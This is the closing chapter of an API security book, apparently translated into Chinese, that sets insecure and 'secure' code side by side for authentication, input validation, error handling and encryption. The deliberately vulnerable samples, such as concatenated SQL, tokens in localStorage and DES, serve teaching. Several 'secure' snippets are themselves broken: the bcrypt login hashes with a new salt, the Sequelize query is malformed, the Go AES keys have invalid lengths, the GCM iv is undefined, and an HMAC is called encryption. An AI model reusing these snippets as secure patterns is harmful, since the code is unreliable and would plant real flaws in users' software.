www.microsoft.com/en-us/securityengineering/sdl。 -
OWASP 软件保障成熟度模型(SAMM):SAMM 是一个开源倡议,采用指导性方法将安全性纳入 SDLC。它由 OWASP 维护,并得益于各种规模和行业的公司的贡献。更多信息请访问
owasp.org/www-project-samm/。
通过严格的编码实践展示对安全的承诺可以帮助与利益相关者建立和维护信任。它还向监管机构表明公司对遵守数据保护法律和行业标准非常认真,这可以避免后续的法律问题。另一个有用的资源是 OWASP 开发人员指南(owasp.org/www-project-developer-guide/),它提供了一个相当完整的定义和指南列表,介绍了如何普遍提高代码安全性。在编写本书时,该指南的版本是4.1.0。当然,永远不要忘记检查 OWASP 十大 API,可在owasp.org/API-Security/editions/2023/en/0x11-t10/找到。当前版本是 2023 年,详细介绍了 API 的十大最危险威胁。我们在第 1和第 3章中讨论了它们。
最后,安全编码实践有助于确保软件系统的长期可持续性和可扩展性。随着应用程序的增长和演变,维护安全基础变得越来越复杂。早期采用安全编码实践有助于在开发团队内建立安全文化,使更容易识别和修复漏洞,避免它们成为重大问题。这种积极的安全方法可以通过减少对广泛安全补丁的需求和减轻潜在安全漏洞的影响来节省时间和资源。反过来,这将导致更稳定、更具弹性的应用程序,能够适应不断发展的数字环境中的新挑战和威胁。让我们开始讨论各种相关主题。
实施安全的身份验证机制
我们在第四章中讨论了针对安全身份验证机制的攻击。身份验证是 API 安全的关键组成部分,确保只有授权的用户才能访问受保护的资源。实现安全的身份验证机制需要仔细考虑各种因素。例如,在 Python 中,使用强大且独特的密码,并通过像 bcrypt 这样的模块进行哈希处理,可以显著增强安全性。避免以明文形式存储密码,或使用像 MD5 这样的弱哈希算法。在 Java 中,像 Spring Security 这样的库提供了强大的身份验证机制,包括对 OAuth2 和 JWT 的支持。不安全的实现可能直接接受用户凭据并返回令牌,而没有进行适当的验证,这样就容易受到攻击。相反,开发者应强制使用 bcrypt:
# Insecure implementation
password = request.form['password']
user = authenticate(username, password)
# A more secure way of doing things
from bcrypt import hashpw, gensalt
password = request.form['password']
hashed_password = hashpw(password.encode('utf-8'), gensalt())
user = authenticate(username, hashed_password)
在 JavaScript 中,尤其是在 Node.js 环境中,使用像 Passport.js 这样的库可以有效地管理身份验证。然而,必须确保安全存储令牌,最好使用 HttpOnly cookies,以防止 XSS 攻击。类似地,在 Golang 中,使用像 gorilla/sessions 这样的中间件来安全处理会话管理是明智的。身份验证机制中的漏洞通常源于会话管理不当或令牌存储不安全。开发者应确保令牌定期轮换,并设置会话超时,以减少会话劫持的风险。在 GraphQL 中,确保限制查询的复杂度和深度,以防滥用。未能做到这一点可能会在错误消息中暴露敏感的用户细节,因此这些消息应该经过清理并保持最小化。以下 JavaScript 代码通过应用 httpOnly 来替代不安全的令牌存储方式:
// Insecure way of storing token in local storage
localStorage.setItem('token', token);
// Secure way of doing the same, but with HttpOnly cookies
res.cookie('token', token, { httpOnly: true, secure: true });
在接下来的部分中,我们将讨论如何正确地处理用户输入。
验证和清理用户输入
我们在第五章中讨论了利用用户输入的攻击。验证和清理用户输入是防止注入攻击的关键,诸如 SQL 注入、XSS 和命令注入等攻击都可以通过这一措施来避免。在 Python 中,像 Django 和 Flask 这样的框架提供了内置的验证工具,但开发者必须确保正确使用它们。例如,依赖原始的 SQL 查询而不使用参数化输入可能导致 SQL 注入。相反,应使用对象关系映射器(ORM)方法,这些方法可以自动处理参数化。以下 Python 代码展示了使用参数的细微差异:
# How you do an insecure SQL query
cursor.execute("SELECT * FROM users WHERE id = '%s'" % user_id)
# A secure approach by using parameterized queries
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
在 Java 中,使用像 Hibernate 这样的库可以通过使用Hibernate 查询语言(HQL)或Java 持久化查询语言(JPQL)来帮助防止注入攻击,这些语言在正确使用时天生是安全的。然而,开发者必须避免拼接字符串来构建查询。以下 Java 代码示例使用 HQL 替代原始或不安全的查询,并应用参数化查询:
// When you concatenate strings for SQL queries, you make them insecure
String query = "SELECT * FROM users WHERE id = " + userId;
List<User> users = entityManager.createNativeQuery(query, User.class).getResultList();
// Prefer instead using parameterized queries with HQL, for example
String query = "FROM User WHERE id = :userId";
List<User> users = entityManager.createQuery(query, User.class)
.setParameter("userId", userId)
.getResultList();
在 JavaScript 中,特别是使用 Node.js 时,开发者应使用如Sequelize或Mongoose这样的 ORM 库,它们支持带参数的查询。此外,像Joi这样的输入验证库可以帮助强制执行模式验证。然而,一个常见的错误是没有验证来自所有来源的输入,包括头部、cookie 和查询参数。请看下面的代码片段,它展示了如何使用Sequelize创建带参数的查询:
// This is insecure since it directly applies the user input
const userId = req.params.userId;
User.find({ where: { id: userId } });
// This is a parameterized query with Sequelize
const userId = req.params.userId;
User.find({ where: { id: Sequelize.literal('?'), replacements: [userId] } });
Golang 开发者应使用诸如validator等库来强制执行严格的输入验证规则。例如,错误的输入验证可能会直接将未经检查的用户输入传递到应用程序逻辑中,从而导致潜在的安全漏洞。相反,应该在处理之前严格地清理和验证所有输入。以下代码使用 Golang 的sql包向数据库发送带参数的查询。db变量也是通过该包生成的(使用sql.Open())。对于一个细心的读者(或安全审计员)来说,二者之间的区别非常微妙,但它在最终结果中的影响是显著的:
// Insecure: Directly using user input
userId := r.URL.Query().Get("user_id")
db.Query("SELECT * FROM users WHERE id = " + userId)
// Secure: Using parameterized queries with sql package
userId := r.URL.Query().Get("user_id")
db.Query("SELECT * FROM users WHERE id = ?", userId)
GraphQL 因其灵活的查询结构而在输入验证方面带来了独特的挑战。开发者应该定义严格的模式,并使用验证中间件来确保只处理有效的输入。例如,一个不安全的 GraphQL 端点可能会接受任意输入,从而导致资源耗尽或其他攻击。通过强制执行严格的类型定义和验证规则,开发者可以有效地减轻这些风险。接下来的 JavaScript 代码片段比较了不安全策略和安全策略。请注意,user是如何借助中间件在内部定义的:
// The insecure way: not validating input in GraphQL resolver
const resolvers = {
Query: {
user: (parent, args) => User.findById(args.id),
},
};
// Here we make use of GraphQL middleware to reinforce protection
const { GraphQLObjectType, GraphQLString } = require('graphql');
const { GraphQLSchema, validateSchema } = require('graphql');
const userType = new GraphQLObjectType({
name: 'User',
fields: {
id: { type: GraphQLString },
name: { type: GraphQLString },
},
});
const queryType = new GraphQLObjectType({
name: 'Query',
fields: {
user: {
type: userType,
args: {
id: { type: GraphQLString },
},
resolve: (parent, args) => {
if (!args.id.match(/^[0-9a-fA-F]{24}$/)) {
throw new Error('Invalid user ID format');
}
return User.findById(args.id);
},
},
},
});
const schema = new GraphQLSchema({ query: queryType });
validateSchema(schema);
在下一部分中,你将学习如何正确处理错误和异常的最佳实践。
实现适当的错误处理和异常管理
我们在第六章中讨论了错误和异常处理不当的攻击。适当的错误处理和异常管理对于维护 API 的安全性和稳定性至关重要。在 Python 中,开发者应该使用try-except块优雅地处理异常,并避免将堆栈跟踪暴露给客户端。一个常见的缺陷是返回详细的错误信息,这些信息揭示了内部逻辑,攻击者可以利用这些信息进行攻击。相反,应该提供通用的错误信息,并在服务器端记录详细的错误日志。不要忘记定期轮换和加密这些日志。同时,限制只有具有合法理由的人和应用程序才能访问这些日志。以下代码块展示了两种处理异常的方法:
# Here you expose stack traces. Bad!
try:
user = User.get(user_id)
except Exception as e:
return str(e)
# Here you treat and hide internal error details
try:
user = User.get(user_id)
except Exception as e:
log.error(f"Error retrieving user: {e}")
return "An error occurred"
Java 开发者可以利用 Spring 等框架提供的等效 try-catch 块和自定义异常处理机制,安全地管理错误。避免在异常消息中暴露敏感信息,并使用如 Logback 或 SLF4J 等日志框架安全地记录错误。下面的实现与之前的实现等效,但在 Java 中是这样写的:
// Do not expose internal details
try {
User user = userService.findUserById(userId);
} catch (Exception e) {
return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body(e.getMessage());
}
// Instead, treat them and hide them
try {
User user = userService.findUserById(userId);
} catch (Exception e) {
log.error("Error retrieving user", e);
return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body("An error occurred");
}
在 JavaScript 中,使用 Express.js 中的全局错误处理 middleware 可以帮助捕获未处理的异常,并防止应用程序崩溃。然而,一个常见的错误是直接将错误记录到控制台,这可能构成安全风险。相反,应该使用安全的日志记录机制,并确保日志中不包含敏感信息。请看看如何实现:
// Do not log errors directly to the console
app.use((err, req, res, next) => {
console.error(err.stack);
res.status(500).send(err.message);
});
// Instead, prefer a logging library and hide error details
const winston = require('winston');
const logger = winston.createLogger({
transports: [new winston.transports.File({ filename: 'error.log' })],
});
app.use((err, req, res, next) => {
logger.error(err.stack);
res.status(500).send('An error occurred');
});
Golang 开发者应使用defer-recover 模式来处理 panic,并确保应用程序不会意外崩溃。例如,一个不安全的实现可能会触发 panic,并在响应中暴露敏感数据。通过从 panic 中恢复并返回通用的错误信息,开发者可以增强安全性。请观察下方代码示例中使用延迟函数的两种方式,它们展示了 panic 消息的生成方式:
// Insecure way: Allowing panic to expose sensitive data
func handler(w http.ResponseWriter, r *http.Request) {
defer func() {
if err := recover(); err != nil {
fmt.Fprintf(w, "An error occurred: %v", err)
}
}()
// Put here some code that could panic
}
// Secure way: Recovering from panic and hiding internal details
func handler(w http.ResponseWriter, r *http.Request) {
defer func() {
if err := recover(); err != nil {
log.Printf("Recovered from panic: %v", err)
http.Error(w, "An error occurred", http.StatusInternalServerError)
}
}()
// Put here some code that could panic
}
最后,在 GraphQL 中,错误处理应该小心实现,以避免暴露内部架构的细节。使用自定义错误类和中间件来优雅地捕获和处理错误。不安全的 GraphQL 实现可能会返回详细的错误信息,暴露字段名称或其他架构细节,使得攻击者更容易构造恶意查询。通过实现适当的错误处理并清理错误信息,开发者可以保护他们的 API 免受攻击。接下来的 JavaScript 代码演示了这一点:
// Insecure form: Exposing detailed error messages in GraphQL
const resolvers = {
Query: {
user: (parent, args) => {
throw new Error('Detailed error message with internal information');
},
},
};
// Secure form: Using custom error classes and middleware
class UserError extends Error {
constructor(message) {
super(message);
this.name = 'UserError';
}
}
const resolvers = {
Query: {
user: (parent, args) => {
try {
// Put here some code that may throw an error
} catch (error) {
throw new UserError('An error occurred');
}
},
},
};
在接下来的部分,我们将讨论数据保护的最佳实践。
数据保护和加密的最佳实践
我们在第八章中讨论了通过未经授权的方式访问数据的攻击。数据保护和加密对于确保通过 API 传输的敏感信息至关重要。在 Python 中,使用如 cryptography 这样的库来加密静态和传输中的数据是至关重要的。例如,在将敏感信息如密码和个人数据存储到数据库之前进行加密,可以防止未经授权的访问。请观察下面的代码,它使用 cryptography 库来应用 Fernet 令牌和密钥:
# The wrong way: Storing sensitive data without encryption
user_data = {'ssn': '123-45-6789'}
database.store(user_data)
# The correct way: Encrypting sensitive data before storing
from cryptography.fernet import Fernet
key = Fernet.generate_key()
cipher_suite = Fernet(key)
encrypted_ssn = cipher_suite.encrypt(b'123-45-6789')
user_data = {'ssn': encrypted_ssn}
database.store(user_data)
在 Java 中,利用Java 加密架构(JCA)提供了强大的加密机制。然而,开发者必须避免使用过时的加密算法,如 DES 或 RC4。相反,最好使用现代算法,如 AES,并采取适当的密钥管理措施。请观察接下来的示例:
// Insecure: Using flawed encryption algorithm
Cipher cipher = Cipher.getInstance("DES");
SecretKey key = KeyGenerator.getInstance("DES").generateKey();
cipher.init(Cipher.ENCRYPT_MODE, key);
// Secure: Using a more robust encryption algorithm (AES)
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
SecretKey key = KeyGenerator.getInstance("AES").generateKey();
cipher.init(Cipher.ENCRYPT_MODE, key, new GCMParameterSpec(128, iv));
JavaScript 开发者应使用如 crypto 等库,在 Node.js 中安全地实现加密和解密操作。例如,一个不安全的实现可能会使用硬编码的加密密钥或弱加密算法。相反,应使用环境变量安全地存储密钥,并实现密钥轮换策略。请查看以下代码:
// Hardcoding encryption keys (bad!)
const crypto = require('crypto');
const key = 'hardcodedkey123';
const cipher = crypto.createCipher('aes-256-cbc', key);
// Using environment variables for encryption key (better!)
const key = process.env.ENCRYPTION_KEY;
const cipher = crypto.createCipher('aes-256-cbc', key);
在前面的代码片段中,JavaScript 代码利用环境变量存储一些敏感数据。这些数据可能由 .env 文件控制,这种方式被许多现代编程语言采用。该文件仅包含变量与其内容之间的关联,通常位于与源代码相同的目录下。当然,这不是最佳的解决方案,但它绝对比将密钥硬编码到逻辑中要好。另一个解决方案是,当你有一个密钥管理工具(无论是本地的还是由公有云提供的服务)时,将所有敏感数据存储在其中。这可以通过假设一个具有必要权限的角色来使用临时会话完成;你只需访问该管理工具并提取数据。
在 Golang 中,使用如 crypto/aes 等加密包并确保正确的密钥管理可以增强数据安全性。一个常见的缺陷是未能保护密钥或使用弱密钥,这可以通过遵循最佳的密钥管理实践来缓解。下面的摘录展示了这一点:
// Insecure: Using weak encryption key
block, err := aes.NewCipher([]byte("weakkey12345678"))
if err != nil {
panic(err)
}
// Secure: Using strong encryption key
key := []byte("strongkey12345678901234567890")
block, err := aes.NewCipher(key)
if err != nil {
panic(err)
}
GraphQL 对数据保护提出了独特的挑战,特别是在处理敏感查询和变更时。实现字段级加密并确保敏感数据在响应中返回之前被加密至关重要。例如,一个不安全的 GraphQL 实现可能在未加密的情况下返回敏感数据,从而暴露给潜在的拦截风险。通过加密敏感字段并使用安全的传输协议,如 HTTPS,开发者可以有效保护数据。以下 JavaScript 代码块展示了如何在正确加密后仅返回敏感数据:
// Bad way: Returning sensitive data without encryption
const resolvers = {
Query: {
user: (parent, args) => {
return User.findById(args.id);
},
},
};
// Right way: Encrypting sensitive data before returning
const crypto = require('crypto');
const secret = process.env.SECRET_KEY;
const resolvers = {
Query: {
user: async (parent, args) => {
const user = await User.findById(args.id);
user.ssn = crypto.createHmac('sha256', secret)
.update(user.ssn)
.digest('hex');
return user;
},
},
};
总之,API 的安全编码实践是构建稳健和安全的 API 和应用程序的基础。通过实现安全的身份验证机制、验证和清理用户输入、正确处理错误以及通过加密保护数据,开发者可以显著增强 API 的安全性。这些实践,结合持续的安全测试和监控,能够帮助减轻风险,并保护敏感信息免受潜在威胁。
正如我们在本书中多次看到的那样,并没有一种适用于所有情况的解决方案。没有单一的技术或原则可以保护整个 API。安全编码最佳实践是保护体系中的一个重要部分,但它们必须与安全的 API 架构设计相结合,并且在每次代码或数据流发生重大变化时,必须进行持续的监控和检查,触发常规验证。
总结
在这一章中,我们讨论了应该采取的重要措施,以避免在之前章节中涉及的不同方面发生重大事故。我们学习了如何更好地编写 API,以减少身份验证机制、用户输入、错误处理和异常管理以及数据保护中的风险。
总的来说,我们学到的是,利用广泛使用的开源库,这些库实现了安全机制或开放算法,结合一些实践,例如避免在逻辑中硬编码重要内容并持续监控活动。永远不要重复发明轮子。尽量避免晦涩的解决方案。最终,如果你、社区或合规机构都无法审计某个产品或服务,那么几乎不可能真正知道背后发生了什么,就像我们在这一章中学到的那样。
此外,我们还了解到,对于开发人员和开发经理来说,在公司内部讨论采纳安全编码方法论的可能性是很重要的。特别是当你完全不知道从何开始将 API 软件转变为更安全的产品时,这些方法尤其有用。
最后,我希望你和我一样喜欢阅读这本书。这是我的第一本书;希望这只是众多书籍中的第一本。
进一步阅读
-
Python
bcrypt,一种替代的哈希模块:pypi.org/project/bcrypt/ -
Python
scrypt,一个更成熟的加密库实现:pypi.org/project/scrypt/ -
Java Spring,Java 的一个主要框架:
spring.io/ -
Java Spring Security,保护 Java Spring 编写的应用程序的框架:
spring.io/projects/spring-security -
JavaScript Passport.js,一个为 Node.js 提供身份验证中间件的库:
www.passportjs.org/ -
Gorilla Sessions,一个为应用程序提供 cookie 和文件系统会话的 Golang 包:
github.com/gorilla/sessions -
Python Django,构建现代 Python 应用程序和 API 的框架:
www.djangoproject.com/ -
Python Flask,另一个框架,比 Django 更轻量:
flask.palletsprojects.com/en/ -
Java Hibernate,一个促进和保护数据处理的库:
hibernate.org/ -
Java HQL,Hibernate 背后的查询语言:
docs.jboss.org/hibernate/orm/3.3/reference/en/html/queryhql.html -
Java JPQL,一种用于数据持久化的查询语言:
openjpa.apache.org/builds/1.2.3/apache-openjpa/docs/jpa_langref.html -
JavaScript Sequelize,一个 Node.js 的 ORM:
sequelize.org/ -
JavaScript Mongoose,一个智能且优雅的方式,在与 MongoDB 连接时处理 Node.js 中的数据:
mongoosejs.com/docs/ -
Joi,一个在 JavaScript 编程中帮助你验证数据的工具:
joi.dev/ -
Golang 包验证器,一个在考虑用户输入之前验证其有效性的工具:
pkg.go.dev/github.com/go-playground/validator/ -
Golang SQL 包,在与 SQL 数据库交互时应该使用,而不是直接发送查询:
pkg.go.dev/database/sql -
Java Logback,一个正确处理日志记录的框架:
logback.qos.ch/ -
Java 简单日志外观,一个用于包装像 Logback 这样的日志框架的工具:
www.slf4j.org/ -
JavaScript Express.js,一个最小化的 Web 框架:
expressjs.com/ -
Python 加密模块,一个促进加密活动的模块:
pypi.org/project/cryptography/ -
Java 加密架构,一个用于处理加密原语的参考和实现集(当前版本是 22):
docs.oracle.com/en/java/javase/22/security/java-cryptography-architecture-jca-reference-guide.html -
Golang 加密包,一个处理加密和哈希任务的包:
pkg.go.dev/crypto -
一篇讨论
.env是什么,以及如何利用它为敏感数据提供一些保护的博客文章:platform.sh/blog/we-need-to-talk-about-the-env/


浙公网安备 33010602011771号